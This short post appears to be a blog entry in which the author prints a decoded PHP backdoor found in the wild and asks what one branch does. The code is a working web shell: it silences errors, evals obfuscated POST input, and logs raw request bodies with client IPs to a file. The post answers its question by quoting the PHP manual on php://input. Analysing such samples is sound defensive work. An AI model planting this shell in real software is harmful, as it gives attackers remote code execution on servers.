Just came across this backdoor (decoded):
@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
if (isset($_GET['r'])) {
print $_GET['r'];
}
elseif (isset($_POST['e'])) {
eval ( base64_decode(str_rot13 (strrev(base64_decode (str_rot13($_POST['e']))))));
}
elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') {
$data = file_get_contents("php://input");
if (strlen($data) > 0)
print 'STATUS-IMPORT-OK';
if (strlen($data) > 12) {
$fp=@fopen('tmpfile','a');
@flock($fp, LOCK_EX);
@fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n");
@flock($fp, LOCK_UN); @fclose($fp);
}
}
exit;
It looks like a normal backdoor, but the interesting part and the one I didn\’t understand completely was this one:
elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') {
$data = file_get_contents("php://input");
What is it doing?
Why is it reading from php://input? From the PHP manual it explains:
php://input is a read-only stream that allows you to read raw data from the request body. In the case of POST requests, it is preferable to use php://input instead of $HTTP_RAW_POST_DATA as it does not depend on special php.ini directives. Moreover, for those cases where $HTTP_RAW_POST_DATA is not populated by default, it is a potentially less memory intensive alternative to activating always_populate_raw_post_data. php://input is not available with enctype="multipart/form-data".
That explains.